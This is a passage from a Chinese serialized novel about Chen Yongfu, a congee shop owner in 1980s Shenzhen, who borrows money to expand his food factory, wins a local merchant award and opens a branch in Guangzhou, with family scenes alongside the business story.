街上车多了,人多了,店铺一家接一家开门。红灯笼还挂着,但喜庆的气氛淡了,忙碌的气氛浓了。商场门口,清洁工在扫鞭炮屑,扫帚划过地面,沙沙地响。
陈永福起了个大早。他站在罗湖店门口,看着王建军和小周拆门板上的封条。封条是年前贴的,红纸黑字:“恭贺新禧,初五开市”。现在要撕下来,生意要重新开始。
“老板,开门大吉。”王建军说。
“大吉。”陈永福点点头。
门开了,店里一股灰尘味。三天没开门,桌椅上都蒙了层灰。小周赶紧擦桌子,王建军去后厨检查灶具。陈永福站在门口,看着街上来往的人。很多人提着行李,刚从老家回来,脸上还带着疲惫。
第一个客人是个中年男人,拖着行李箱,风尘仆仆。
“开门了?”
“开了,师傅里面坐。”
“来碗白粥,饿死了,火车上没吃好。”
“好嘞。”
陈永福亲自盛粥。粥是昨天晚上熬好的,在保温桶里,还热。他盛了满满一碗,多加一勺咸菜。
男人接过去,狼吞虎咽。吃完,抹抹嘴:“还是这儿好,实在。”
“师傅刚回来?”
“嗯,湖南老家,坐了两天车。”男人付钱,“老板,你这店过年没歇?”
“歇了三天。”
“三天算少了,我们老家,正月十五前都不正经干活。”
“深圳不一样,歇不起。”
“是啊,深圳快。”男人提起箱子,“走了,上班去。”
“慢走。”
客人陆续来了。大多是刚回来的打工者,急着填饱肚子,好去上工。店里很快坐满了人,热气腾腾的。
陈永福在后厨帮忙。刘师傅还没回来——他请了十天假,回四川老家,要过完十五才回来。小周顶他的位子,熬粥还欠点火候,但能应付。
“老板,米好像有点潮。”小周说。
“今天这批米是年前剩的,将就用。”陈永福说,“明天新米到。”
“好。”
忙到九点,高峰期过了。陈永福交代几句,去工厂。
工厂初四就开工了。机器轰鸣,工人忙碌。小林在实验室里,看见陈永福来,迎上来。
“陈老板,新年好。”
“林工新年好,开工顺利?”
“顺利,就是有几个工人还没回来,人手有点紧。”
“先顶着,过几天人就齐了。”
陈永福在车间转了一圈。生产线运转正常,一包包粥料从传送带上滑下来,装箱,打包。年前积压的订单要赶,香港的货要发,广州的要补。生产线二十四小时不停,工人两班倒。
“陈老板,郑先生来了,在办公室等您。”小林说。
陈永福去办公室。郑文达和李文杰都在,还有何老板。
“陈老板,新年新气象。”郑文达起身握手。
“郑先生,何老板,李经理,新年好。”
大家坐下。郑文达拿出份文件:“今年的计划,我初步拟了个大纲。大家看看。”
文件标题是《家香食品1986年度发展规划》。陈永福翻开看,密密麻麻的字,分几大块:产能扩张、市场拓展、新品研发、品牌建设。
“我先说说产能。”郑文达说,“现在日产能两万包,不够。我建议再上一条线,投资五十万,把产能提到五万包。”
五十万。陈永福心里一紧。
“郑先生,资金……”
“资金我出三十万,陈老板你出二十万。”郑文达说,“何老板有兴趣也可以投。”
何老板点点头:“我投十万,占两成。”
陈永福算了算。他出二十万,占四成;郑文达三十万,占六成;何老板十万,占两成。但工厂现在总投资才七十万,再加五十万,就是一百二十万。他占四成,要出四十八万。他已经投了二十万,还要再出二十八万。
“郑先生,我手头没那么多现金。”陈永福实话实说。
“可以贷款。”郑文达说,“现在政策鼓励,个体户贷款容易。我可以帮你联系银行。”
“利息呢?”
“年息百分之八左右。”
陈永福沉默了。贷款二十八万,一年利息两万多。加上原来的贷款,一年光利息就要四万。压力太大了。
“陈老板,我知道你有顾虑。”郑文达说,“但生意要做大,必须投入。现在市场好,我们占先机,就要快速扩张。等别人跟上来,就晚了。”
李文杰插话:“陈老板,我做了市场分析。现在速食粥市场年增长率在百分之三十以上。如果我们能保持现在的市场份额,明年销售额能翻一番。”
翻一番。陈永福心动了。
“让我想想。”
“好,不急,三天内给我答复。”郑文达说。
接下来讨论市场拓展。郑文达想进上海、北京的市场。李文杰建议先在长三角和珠三角的二线城市试水,比如苏州、无锡、佛山、中山。
“一线城市竞争激烈,成本高。”李文杰说,“二线城市潜力大,竞争小。”
“我同意。”何老板说,“稳扎稳打。”
新品研发方面,小林提了几个想法:儿童营养粥、老年人养生粥、糖尿病患者专用粥。他说现在人们生活好了,对健康有要求,功能性食品是趋势。
“儿童粥可以加钙、加维生素。”小林说,“老年人粥要低盐、易消化。”
“研发要多少钱?”陈永福问。
“前期投入大概五万。”小林说,“主要是买原料、做实验、送检。”
“做吧,该花的要花。”
品牌建设方面,郑文达建议请香港明星代言,在电视上打广告。
“现在电视普及了,广告效果好。”郑文达说,“我认识几个香港二三线明星,价格不贵。”
“多少钱?”
“一年代言费,十万左右。”
十万。陈永福又犹豫了。
“郑先生,咱们的产品,靠的是口碑,不是明星。”
“口碑重要,广告也重要。”郑文达说,“陈老板,品牌建设是长期投资。现在投入,将来回报。”
陈永福没说话。他觉得十万太多了,不如把这钱用来改善生产,或者给员工加薪。
会议开了两个钟头。散会后,陈永福一个人坐在办公室,看着那份发展规划。纸上的数字很诱人:年销售额五百万,利润一百万,市场占有率百分之三十。但他心里不踏实。
这些数字,要真金白银堆出来。五十万投资,十万广告费,五万研发费。加起来六十五万。他要去贷二十八万。
万一赔了呢?
他想起父亲的话:生意归生意,要慎重。
但郑文达说得也对:机会不等人。
两难。
中午,他回罗湖店吃饭。林玉兰带着晓梅在店里,母亲也在。父亲一个人在家,说想静静。
“开会怎么样?”林玉兰问。
“要投钱,很多钱。”陈永福简单说了情况。
林玉兰听完,脸色变了:“还要贷二十八万?阿福,咱们现在欠的还没还清呢。”
“我知道。”
“知道你还考虑?”林玉兰声音高了,“阿福,咱们现在这样不好吗?店开着,工厂转着,有赚有赔,但踏实。你又要贷那么多钱,万一……”
“没有万一。”陈永福打断她,“玉兰,生意要做大,就要投钱。这是规律。”
“可咱们是熬粥的,不是开银行的。”林玉兰眼圈红了,“阿福,我跟你来深圳,是想过安稳日子。你现在这样,我每天都提心吊胆。”
母亲在旁边,没说话,只是叹气。
陈永福心里烦躁。他知道妻子说得对,但他停不下来。就像上了快车,刹车坏了,只能往前冲。
吃完饭,他去了老街那片空地。地基已经打好了,钢筋水泥的骨架立起来,有四五层高了。工人们在上工,叮叮当当的敲击声,嗡嗡的电钻声。
他站在围挡外,看着。三年前,他的粥铺就在这里,老榕树下。现在,这里要起高楼了。
城市在变,他也要变。不变,就被埋了。
手机响了,是黄秀英。
“老板,广州新店的地址定了,在白云区,月租两百。”
“贵了。”
“位置好,值。”黄秀英说,“老板,我想明天就签合同,早点开业。”
“你自己定吧。”
“老板,你声音不对,怎么了?”
“没事,累。”
“老板,你注意身体。”黄秀英顿了顿,“还有,广州这边有个食品批发市场,我想租个摊位,卖咱们的粥料。”
“能卖动吗?”
“能,我了解过,这边小餐馆多,很多不愿意自己熬粥,买料包方便。”
“行,你看着办。”
挂了电话,陈永福想,黄秀英的步子比他快。她不怕,敢闯。也许年轻人就该这样。
但他不行。他有家,有父母,有妻儿,有员工。他怕。
回到家,父亲在阳台抽烟。陈永福走过去。
“阿爸。”
“回来了?”父亲没回头,“会开完了?”
“开完了。”
“要投钱?”
“嗯。”
“多少?”
“二十八万。”
父亲沉默了很久。烟头在手里燃着,烟灰掉在地上。
“永福,阿爸不懂生意。”父亲终于开口,“但阿爸知道,钱要花在刀刃上。你这二十八万,花在哪儿?”
“扩生产线,打广告,搞研发。”
“能赚回来吗?”
“不知道。”
“不知道就投?”父亲转过头看他,“永福,咱们是农民出身,挣的都是辛苦钱。二十八万,在老家能盖三栋楼,能买几十亩地。在深圳,就是一纸合同。”
“我知道。”
“知道还投?”父亲声音严厉了,“永福,你是不是被那些人捧昏头了?什么企业家,什么典型,那是虚的。实的是你兜里的钱,是你店里的粥,是你工厂的货。这些要是没了,你什么都不是。”
陈永福说不出话。父亲的话像锤子,砸在他心上。
“阿爸,我不投,别人就超了。”他艰难地说,“深圳就是这样,逆水行舟,不进则退。”
“那就退!”父亲说,“退一步,稳当。进一步,可能就掉坑里了。”
“可是……”
“没有可是。”父亲掐灭烟,“永福,阿爸不是拦你发财。是怕你摔跟头。你摔了,这一家子怎么办?那些跟着你的人怎么办?”
陈永福低头,看着自己的手。这双手,熬过粥,搬过货,签过合同。现在,要决定投不投二十八万。
“让我再想想。”
“想清楚。”父亲拍拍他的肩,“钱是小事,人是大事。你倒了,钱再多也没用。”
晚上,陈永福睡不着。他起来,走到孩子们房间。晓梅睡得正香,小嘴一抿一抿的。□□也睡了,课本还摊在桌上,是数学题。
他轻轻给儿子盖好被子,回到客厅。林
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玉兰也起来了,坐在沙发上。
“怎么不睡?”
“睡不着。”林玉兰轻声说,“阿福,我想了一下午。我不该拦你。你是男人,要闯事业。我该支持你。”
“玉兰……”
“但是阿福,你要答应我,量力而行。”林玉兰看着他,“咱们可以投钱,但不能把身家都押上。留点后路,万一不行,还能回头。”
陈永福握住她的手:“我知道。”
“还有,别太累。”林玉兰眼圈又红了,“你看你,眼窝都陷进去了。钱是赚不完的,命只有一条。”
“我会注意。”
两人坐了一会儿。夜深了,深圳安静下来。
第二天,陈永福给郑文达打电话。
“郑先生,我决定了。二十万我投,但贷款要慢慢还,不能压得太紧。广告费减半,先试试水。研发要做,但分步走,不急。”
郑文达在电话那头笑了:“陈老板,你越来越像商人了,知道谈判了。”
“不是谈判,是稳妥。”
“好,就按你说的。”郑文达说,“合同我让律师改,明天签。”
“行。”
挂了电话,陈永福去银行。贷二十八万,分三年还,每月还八千。算上之前的贷款,每月要还一万二。压力大,但还能承受。
签贷款合同那天,他手有点抖。二十八万,是他这辈子经手最大的数字。但他签了,一笔一画,很用力。
钱到账了,他马上转给郑文达。新生产线订了,三个月后到货。
回到工厂,小林兴冲冲地来找他。
“陈老板,儿童粥的配方试出来了,您尝尝。”
实验室里,三碗粥摆着:一碗原味,一碗加钙,一碗加维生素。陈永福每碗尝了一口。加钙的有点涩,加维生素的有点酸,但能接受。
“再调调,味道要自然。”
“好。”
“送检了吗?”
“送了,等报告。”
“行,抓紧。”
从实验室出来,陈永福去车间。工人们正在赶香港的订单。看见他来,都打招呼:“老板好。”
“大家辛苦。”
“不辛苦,有活干,高兴。”
陈永福看着这些工人。他们大多来自农村,跟他一样,来深圳讨生活。现在,他们在他的工厂里干活,拿工资,养家。他要是倒了,这些人怎么办?
责任。父亲说得对,这是责任。
他要扛住。
正月十五,元宵节。商场搞活动,猜灯谜,送汤圆。粥铺也推出了元宵粥,小汤圆放在红豆粥里,甜糯糯的。
晚上,陈永福带家人去看花灯。深圳大道上挂满了灯笼,各式各样,鱼灯、兔灯、莲花灯,亮晶晶的。人很多,挤挤攘攘。
父亲母亲也来了。母亲抱着晓梅,父亲牵着建国。一家人慢慢走,看灯,猜谜。
在一个灯笼前,父亲停下。灯笼上写着一个谜语:“白嫩小宝宝,洗澡吹泡泡,洗洗身体小,再洗不见了。”(打一食品)
“建国,猜猜是什么?”父亲问。
□□想了半天:“是……是汤圆?”
“不对,再想想。”
“是……是肥皂?”
“也不对。”
陈永福笑了:“是盐。”
“对了!”父亲拍手,“还是你阿爸聪明。”
大家都笑了。晓梅伸手要抓灯笼,母亲赶紧抱开。
走到广场,有舞狮表演。锣鼓喧天,狮子跳上跳下,栩栩如生。围观的人鼓掌叫好。
父亲看得很认真,眼睛都不眨。
“阿爸,喜欢看?”陈永福问。
“喜欢,老家也有,但没这么热闹。”父亲说,“深圳真好,热闹。”
“那就在这儿多住些日子。”
“住,住到你们烦为止。”
“不烦,永远不烦。”
舞狮结束,放烟花。一朵朵烟花在夜空炸开,五彩缤纷。晓梅仰着小脸看,眼睛亮晶晶的。□□兴奋地跳。
陈永福搂着林玉兰,看着烟花,看着家人。
这一刻,他觉得所有的累都值了。
为了这个家,他要撑住,要向前。
烟花放了半个钟头。结束时,人群慢慢散去。一家人往回走。
路上,父亲说:“永福,阿爸想通了。你该闯就闯,阿爸支持你。”
陈永福一愣:“阿爸……”
“阿爸老了,不懂新东西。但阿爸知道,儿子长大了,有自己的路。”父亲拍拍他的肩,“去吧,好好干。但记住,累了就回家,家里有粥,有热炕头。”
陈永福鼻子一酸:“谢谢阿爸。”
“谢什么,父子俩。”
回到家,母亲煮了元宵。一人一碗,甜丝丝的,暖到心里。
吃完元宵,孩子们睡了。父母也去休息。陈永福和林玉兰坐在阳台上,看着深圳的夜景。
“阿福,新的一年,咱们会更好的。”林玉兰说。
“嗯,会好的。”
“不管多难,咱们一起扛。”
“一起扛。”
烟花还在远处零星地放,像星星眨眼。
深圳的夜,温柔了。
陈永福想,这就是他的城市,他的家。他要在这里,熬他的粥,走他的路。
不管前路如何,有家,就不怕。
睡吧,明天还要早起。
新的一天,新的一年,新的开始。
他会继续走,稳稳地走。
因为根在这里,家在这里。
跑不掉的。
23. 春水
正月一过,深圳的春天来得又急又猛。
路边的紫荆花像是约好了,一夜之间全开了。粉的,紫的,一树一树的,热热闹闹挤在枝头。风吹过,花瓣飘飘洒洒落下来,落在行人的肩上,落在湿漉漉的街上,像铺了层薄薄的绸子。
陈永福站在新工厂的院子里,看着工人卸货。是刚到的原料,东北大米,一麻袋一麻袋的,堆成小山。小林拿着本子在旁边记录,时不时弯腰抓把米,对着光看。
“陈老板,这批米成色好。”小林说。
“价格也好。”陈永福捏起几粒米,放在手心搓了搓,“一斤贵三分。”
“但出粥率高,算下来差不多。”
“那就行。”
卸完货,陈永福去车间。新生产线还在安装,郑文达从香港请的工程师在调试。是个中年人,姓赵,戴眼镜,说话慢条斯理,但手上动作快。
“陈老板,这条线是全自动的,从泡米到包装,一条龙。”赵工程师指着机器,“产能比旧线高一倍,用人少一半。”
“什么时候能投产?”
“再调试三天,就可以试生产。”
“好,抓紧。”
从车间出来,小林追上来:“陈老板,儿童粥的检测报告回来了,合格。可以批量生产了。”
“包装设计好了吗?”
“好了,郑先生从香港找的设计师,卡通图案,小孩子喜欢。”
“先生产一万包,试试市场。”
“好。”
回到办公室,陈永福开始算账。新生产线投资五十万,儿童粥研发五万,原料涨价,人工涨工资……这个月开支比上个月多了八万。虽然销售额在涨,但利润薄了。
他揉了揉太阳穴。账上的数字像蚂蚁,爬得他心烦。
手机响了,是黄秀英。
“老板,广州新店装修好了,后天开业。”她声音里透着兴奋,“这边位置真好,对面就是服装批发市场,工人多。”
“开业活动准备了?”
“准备了,前三天八折,还送咸菜。”黄秀英说,“老板,你来剪彩吗?”
“走不开,你主持就行。”
“好吧。”黄秀英顿了顿,“老板,还有件事。这边有个百货公司,想进咱们的粥料,但要咱们提供专柜,还要派促销员。”
“专柜费多少?”
“一个月五百,促销员工资咱们出,一个月一百五。”
陈永福皱眉。又是钱。
“先谈着,别急着答应。”
“好。”
挂了电话,陈永福想,黄秀英在广州的步子迈得大。专柜,促销员,这些他都没想过。但也许是对的呢?深圳的经验,不一定适合广州。
下午,他去罗湖店。店里生意照常,王建军在前台,小周在后厨。刘师傅回来了,脸色红润,说是老家吃得舒服。
“刘师傅,休息好了?”陈永福问。
“好了,好了。”刘师傅搓着手,“老板,家里带了点腊肠,给你尝尝。”
“谢谢,自己留着吃。”
“要的要的。”
陈永福接过腊肠,沉甸甸的,用报纸包着。他打开,闻到一股烟熏味,是老家的味道。
“刘师傅,家里都好吧?”
“好,儿子考上高中了。”刘师傅笑了,“老板,我得多干几年,供他上大学。”
“好好干,供孩子读书要紧。”
从后厨出来,王建军拿着个本子找他:“老板,这是上个月的报表,你看看。”
陈永福接过看。罗湖店营业额六千,南山店四千五,福田店五千二。都比年前好。
“建军,干得不错。”
“是老板指导得好。”王建军说,“老板,我有个想法。”
“说。”
“我想搞个‘粥友俱乐部’,给常客发卡,积满十次送一碗。”王建军说,“留住老客,比拉新客容易。”
陈永福想了想:“行,你设计一下。”
“好。”
王建军去忙了。陈永福站在柜台后,看着店里喝粥的客人。有熟悉的,有不熟悉的。有个老太太每天都来,坐同一个位置,要一碗白粥,慢慢喝。有个年轻人,背着画板,有时候一坐就是半天,边喝粥边画画。
这就是他的粥铺,不光是生意,也是这些人的生活的一部分。
晚上回家,父亲在客厅听收音机。是粤语新闻,父亲听不懂,但还是听。
“阿爸,听得懂吗?”
“听不懂,但热闹。”父亲说,“永福,今天厂里怎么样?”
“新生产线快好了。”
“又要忙了。”
“嗯。”
父亲关掉收音机:“永福,阿爸想跟你商量个事。”
“什么事?”
“我想找个活干。”父亲说,“整天闲着,骨头都松了。”
陈永福一愣:“阿爸,你来是享福的,干什么活?”
“享福也得有事做。”父亲说,“我在老家种了一辈子地,闲不住。你给我想想,我能干什么。”
陈永福想了想:“要不,你去店里帮忙?不用干活,就坐着,跟客人说说话。”
“那不成,光说话像什么。”父亲摇头,“我要干点实在的。”
“那……去厂里看仓库?”
“这个行。”父亲眼睛亮了,“看仓库,我懂。老家收粮食,我也看过仓。”
“可那是体力活,要搬东西。”
“搬东西怕什么,我身体好着呢。”
陈永福看着父亲。六十多岁的人,背有点驼,但眼神里有光。
“行,我安排。但说好,累了就不干。”
“知道。”
第二天,陈永福带父亲去工厂。仓库在车间后面,两百平米,堆满了米、配料、包装材料。两个工人在搬货,看见陈永福来,停下手。
“这是老陈,以后他管仓库。”陈永福介绍,“老陈是我父亲,你们多照应。”
“陈叔好。”工人们打招呼。
父亲点点头,在仓库里转了一圈,摸摸米袋,看看标签。
“永福,这米要分开放,新来的放里面,先来的放外面。”父亲说,“不然里面的放久了,会生虫。”
“行,您定规矩。”
“还有,进出要记数,一笔一笔,不能含糊。”
“好。”
父亲开始工作了。他找了个本子,把仓库里的东西清点一遍,记下来。然后站在门口,看着工人搬货,进多少,出多少,都记。
陈永福在远处看着。父亲腰板挺直了,脸上有了神采。他知道,父亲需要这种感觉——被需要的感觉。
中午,林玉兰送饭来。看见父亲在仓库里忙,愣了一下。
“阿爸怎么……”
“他闲不住,非要找活干。”陈永福说,“这样也好,有事做,精神好。”
林玉兰叹口气:“阿福,你让阿爸干这么重的活……”
“不重,就是记记账,看看货。”陈永福说,“玉兰,你让阿爸试试,不行再停。”
“好吧。”
吃饭时,父亲吃得特别香。一边吃一边说仓库的事:“那批东北米成色好,但有点潮,要晒晒。皮蛋味道不对,可能放久了,得先用。”
“阿爸,这些让工人做就行。”
“他们忙,我闲着也是闲着。”父亲说,“永福,你这仓库管得不行,乱。明天我好好收拾收拾。”
“行,您看着办。”
吃完饭,父亲又去仓库了。林玉兰看着他的背影,轻声说:“阿爸好像年轻了。”
“是啊,有事做,人就精神。”
“阿福,你也要注意,别让阿爸太累。”
“我知道。”
下午,新生产线试生产。陈永福、郑文达、小林、赵工程师都站在车间里。机器启动,轰鸣声响起。米从这边进去,经过浸泡、蒸煮、烘干、混合、包装,最后出来一包包粥料。
第一包出来了,小林拆开,煮了一碗。
“陈老板,您尝。”
陈永福尝了一口。米粒软硬适中,味道均匀。比旧生产线的好。
“好。”
郑文达也尝了:“可以,可以。陈老板,这条线上了,咱们产能就上去了。”
“郑先生,下个月香港的订单,能按时交了吧?”
“能,能。”郑文达说,“陈老板,我还有个想法。”
“您说。”
“咱们的粥料,能不能做成杯装的?像方便面那样,加开水泡几分钟就能吃。”郑文达说,“现在年轻人图方便,杯装肯定好卖。”
陈永福皱眉:“杯装?那得用特殊材料,成本高。”
“成本高,但价格也高。”郑文达说,“一盒方便面卖五毛,咱们的杯装粥,卖六毛,贵一毛,但健康。”
“技术上……”
“技术上不难,我认识个台湾厂家,做这个的。”郑文达说,“陈老板,你要是同意,我去联系。”
陈永福想了想:“先了解了解,别急着定。”
“好。”
郑文达走了。陈永福问小林:“杯装粥,能做吗?”
“能做,但要买新设备,改工艺。”小林说,“陈老板,我觉得可以试试。现在方便食品是趋势,杯装粥有市场。”
“你先研究研究,做个预算。”
“行。”
从工厂出来,陈永福去银行。贷款要还第一期,八千块。他取了钱,排队还贷。前面有个男人在跟柜员吵架,说是利息算错了。吵了很久,最后保安来了才劝开。
轮到陈永福,他递上钱。柜员数了数,开了收据。
“陈先生,下个月十五号还第二期。”
“知道。”
走出银行,陈永福觉得心里空了一块。八千块,就这样没了。但没办法,贷了就要还。
回到罗湖店,王建军在教小周记账。看见陈永福来,两人停下。
“老板,有客人找你。”王建军说。
“谁?”
“说是街道办事处的。”
陈永福去办公室。里面坐着个中年女人,穿着灰色西装,短发,很干练。
“陈老板,你好,我姓张,街道办的。”
“张主任好,什么事?”
“是这样,市里要评‘文明商户’,咱们街道推荐了你。”张主任拿出表格,“你填一下,再准备些材料,比如卫生许可证、员工健康证、纳税证明这些。”
“文明商户?”
“对,评上了有奖励,还能上报纸。”张主任说,“陈老板,你是咱们街道的骄傲,要争取。”
陈永福接过表格,密密麻麻的,要填的内容很多。
“张主任,我……”
“别推辞,这是好事。”张主任站起来,“材料准备好,下周交到办事处。我先走了。”
送走张主任,陈永福看着表格发愣。文明商户,上报纸,又是虚名。但他知道,不能拒绝。街道办的面子要给。
晚上回家,跟林玉兰说了。林玉兰倒是高兴:“阿福,这是荣誉,要争取。”
“我知道,就是又要忙。”
“我帮你准备材料。”林玉兰说,“卫生许可证在哪儿?健康证呢?纳税证明呢?”
“在工厂办公室。”
“明天我去拿。”
第二天,林玉兰真去工厂拿材料。她带着晓梅,坐公交车去。到了工厂,小林看见她,赶紧迎上来。
“老板娘,您怎么来了?”
“我来拿材料。”林玉兰说,“阿福要评文明商户。”
“好事啊,材料在办公
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室,我带您去。”
林玉兰在办公室找材料,晓梅在学步车里玩。小林逗她:“晓梅,叫叔叔。”
晓梅眨巴着眼睛,不叫。
“这孩子,怕生。”林玉兰笑,“她阿爸在家,她就疯;一出来,就老实。”
“孩子都这样。”小林说,“老板娘,陈老板最近太累了,您劝劝他,多休息。”
“我说了,他不听。”林玉兰叹口气,“你们也帮我劝劝。”
“好。”
拿了材料,林玉兰坐车回家。车上人多,她护着晓梅,怕挤着。有个年轻人给她让座,她连说谢谢。
回到家,开始整理材料。一张一张,分门别类。卫生许可证要复印,健康证要装订,纳税证明要盖章。忙了一下午。
晚上陈永福回来,看见整整齐齐的材料,愣了。
“玉兰,你弄的?”
“嗯,你看看,还缺什么。”
陈永福翻了翻,齐全了。
“谢谢你,玉兰。”
“谢什么,一家人。”林玉兰说,“阿福,这些虚名,咱不图。但既然要评,就要评上。这是对咱们的肯定。”
“我知道。”
填表格,写材料,忙到半夜。陈永福写了三年的发展历程,从老街粥铺写到现在。写着写着,自己都感慨。三年,真快。
第二天,他把材料交到办事处。张主任看了,点头:“陈老板,材料很全,很好。下周评审组来检查,你准备一下。”
“检查什么?”
“卫生,服务,管理,这些。”张主任说,“陈老板,你的店我知道,没问题。但还是要准备,别出岔子。”
“好,我准备。”
回到店里,陈永福召集所有员工开会。王建军、小周、刘师傅,还有几个服务员。
“下周有检查,评文明商户。”陈永福说,“这几天,卫生要搞好,服务要周到。别出差错。”
“老板放心,我们一定做好。”王建军说。
“刘师傅,后厨是关键,不能有死角。”
“知道,我擦三遍。”
“小周,前台要热情,但别过分。”
“嗯。”
散了会,陈永福去南山店、福田店,同样交代。员工们都说好,保证不出问题。
但越是保证,陈永福越不放心。他每天三家店来回跑,检查卫生,检查服务。累,但不敢松。
父亲在仓库也听说了,跟工人说:“这几天仔细点,别给我儿子丢脸。”
工人们笑:“陈叔,您放心,我们一定仔细。”
检查前一天,陈永福失眠了。躺在床上,脑子里过电影:灶台擦了吗?冰箱清了吗?员工健康证齐吗?账本清楚吗?
“阿福,睡吧。”林玉兰轻声说。
“睡不着。”
“别想了,该做的都做了。”林玉兰拍拍他,“睡吧,明天还要早起。”
陈永福闭上眼睛,但脑子还在转。
第二天,检查组来了。五个人,有街道的,有工商的,有卫生的。先看罗湖店,里里外外看了个遍。灶台,冰箱,仓库,卫生间。又看账本,看健康证。
陈永福陪着,手心出汗。
“陈老板,你这里不错。”一个检查员说,“卫生达标,管理规范。”
“谢谢领导。”
接着去南山店、福田店。同样检查,同样过关。
最后到工厂。车间,仓库,实验室,都看了。父亲在仓库,站得笔直。检查员问什么,他答什么,清清楚楚。
“老陈,你这仓库管得好。”检查员说,“东西整齐,账目清楚。”
父亲笑了:“应该的。”
检查结束,张主任对陈永福说:“陈老板,没问题,等着好消息吧。”
“谢谢张主任。”
送走检查组,陈永福长长出了口气。父亲走过来:“永福,怎么样?”
“应该能评上。”
“那就好。”父亲拍拍他的肩,“我儿子,不给我丢脸。”
陈永福笑了。父亲第一次这么夸他。
几天后,结果出来了。家香粥铺评上了“文明商户”。街道开了表彰会,发了奖牌,还有五百块奖金。
陈永福拿着奖牌回家,挂在客厅墙上。金色的牌子,红色的字,在灯下闪闪发光。
父亲站在牌子前,看了很久。
“永福,这牌子,要传下去。”他说,“以后给你儿子,给你孙子。告诉他们,咱们老陈家,在深圳,凭良心做生意,得了这个牌。”
“嗯,传下去。”
晚上,一家人庆祝。林玉兰做了几个菜,开了瓶酒。父亲喝了几杯,脸红了。
“永福,阿爸今天高兴。”他说,“不是高兴你得奖,是高兴你没忘本。粥还是那个粥,人还是那个人。”
“阿爸,我忘不了。”
“忘不了就好。”父亲端起杯,“来,干一杯。为了咱们家,为了这碗粥。”
大家举杯。
“干!”
酒喝下去,热热的,一直暖到心里。
窗外,深圳的夜,灯火璀璨。
陈永福看着家人,看着墙上的奖牌,看着这个家。
他想,这就是他要守住的。
粥要熬好,家要顾好,人要做好。
别的,随它去。
夜深了,孩子们睡了。父母也睡了。
陈永福和林玉兰坐在阳台上,看着夜景。
“阿福,这一年,真快。”林玉兰说。
“是啊,真快。”
“明年会更好吧?”
“会更好的。”
“不管好不好,咱们在一起就行。”
“嗯,在一起就行。”
风吹过来,带着花香。
深圳的春天,真的来了。
24. 雨线
三月底的深圳,雨季说来就来。雨不是下,是泼。哗啦啦地从天上倒下来,砸在玻璃窗上啪啪响。街上的水来不及排,积成小河,黄浊浊的,漂着树叶、塑料袋、一次性饭盒。
陈永福站在工厂办公室的窗前,看着外面白茫茫的雨幕。院子里新到的设备盖着防水布,被雨打得啪啪响。工人们穿着雨衣雨鞋,在雨里跑来跑去,把堆在外面的米袋往仓库里搬。
“陈老板,这雨来得真不是时候。”小林端着茶杯走过来,“赵工说新生产线调试要延后了,电路怕进水。”
“延多久?”
“最少三天。”
陈永福皱眉。三天,香港的订单要赶不上了。
“让赵工想办法,搭棚子也要干。”
“搭了,但雨太大,棚子漏水。”小林说,“安全第一,赵工说得对。”
陈永福没说话,看着雨。雨下得急,像在赶时间。深圳的雨季就是这样,一来就给你个下马威。
手机响了,是郑文达。
“陈老板,香港那边催货,能按时交吗?”
“雨太大,生产线调试延后了。”陈永福实话实说,“我尽量赶。”
“尽量不行,要保证。”郑文达语气严肃,“合同签了,违约要赔钱。”
“我知道。”
“知道就要想办法。”郑文达说,“陈老板,做生意要守信。这次交不上,下次人家就不找你了。”
“我明白。”
挂了电话,陈永福穿上雨衣,去车间。车间里闷热潮湿,机器盖着防尘布。赵工程师和两个工人在检查线路,看见陈永福来,站起来。
“陈老板,这雨……”
“我知道。”陈永福摆摆手,“赵工,能不能先调一部分?雨小点再调剩下的。”
“可以是可以,但进度慢。”赵工说,“而且风险大,万一短路,机器就坏了。”
“坏了我修。”陈永福说,“赵工,帮个忙,这批货要紧。”
赵工看了看他,又看了看窗外的大雨:“行吧,我试试。但陈老板,你得签个免责书,万一出事,我不负责。”
“行,我签。”
拿来纸笔,陈永福签了字。赵工摇摇头,继续干活。
从车间出来,雨小了些。陈永福去仓库。父亲正在清点米袋,拿着本子,一笔一笔记。
“阿爸,米没淋着吧?”
“没有,都搬进来了。”父亲说,“就是有些袋子底湿了,得晾。”
“晾哪儿?”
“我腾出个角落,铺了塑料布。”父亲指了指,“永福,你这米买多了,仓库放不下。”
“新生产线上了,用量大。”
“那也得慢慢来,一下进太多,吃不完会坏。”父亲说,“生意要做长,不能贪多。”
陈永福点点头。父亲说得对,但他停不下来。订单催着,市场催着,郑文达催着。
“阿爸,我下午要去广州,黄秀英那边开业,我去看看。”
“这么大的雨还去?”
“去,答应了。”
父亲叹口气:“路上小心。”
“知道。”
中午雨停了会儿,陈永福开车去广州。车是去年买的二手桑塔纳,花了五万。平时舍不得开,今天赶时间。
出深圳,上广深公路。路况不好,坑坑洼洼,车颠得厉害。雨又下起来了,雨刷器来回刮,刮不干净。前面有辆车陷在水坑里,堵了一路。等了半个钟头才通。
到广州已经下午三点。黄秀英的新店在白云区,挨着服装批发市场。雨中的广州灰蒙蒙的,街道窄,楼旧,但人不少。打伞的,穿雨衣的,在雨里匆匆走。
店门口挂着红布,写着“家香粥铺广州二店开业大吉”。黄秀英在门口张望,看见陈永福的车,赶紧跑过来。
“老板,您可来了。”
“路上堵。”陈永福下车,“开业还顺利?”
“顺利,就是雨大,人少点。”黄秀英递过伞,“老板,里面坐。”
店里装修简单,白墙,瓷砖地,二十几张桌子。已经坐了些客人,大多是在批发市场做工的,浑身湿漉漉的,喝着热粥取暖。
“生意怎么样?”陈永福问。
“上午好,卖了三百多碗。”黄秀英说,“下午雨大,人少了。”
“正常,雨天都这样。”
黄秀英带他看后厨,看仓库,看员工宿舍。一切都井井有条。这个当年蹲在路灯下哭的女孩,现在能把一家店管得这么好。
“老板,百货公司那边谈下来了。”黄秀英说,“专柜费降到四百,促销员工资咱们出一百。我算过了,只要一个月卖两千包,就能保本。”
“两千包?卖得动吗?”
“卖得动。”黄秀英很有信心,“我调查过,这边小餐馆多,自己熬粥麻烦,买料包方便。还有住家户,年轻人不会熬粥,也买。”
陈永福想了想:“行,你看着办。但账要清楚,每天报数。”
“知道。”
看完店,黄秀英请陈永福吃饭。在附近的小餐馆,点了几个粤菜:白切鸡、清蒸鲈鱼、蚝油生菜。
“老板,广州这边跟深圳不一样。”黄秀英边吃边说,“深圳人来自全国各地,口味杂。广州人本地人多,口味刁。咱们的粥,他们嫌淡。”
“那怎么办?”
“我加了点本地调料,比如姜丝、葱花,还有他们爱吃的咸菜。”黄秀英说,“慢慢调,总能调出他们喜欢的味道。”
陈永福看着她。黄秀英眼里有光,那是找到了方向的光。
“秀英,你成长了。”
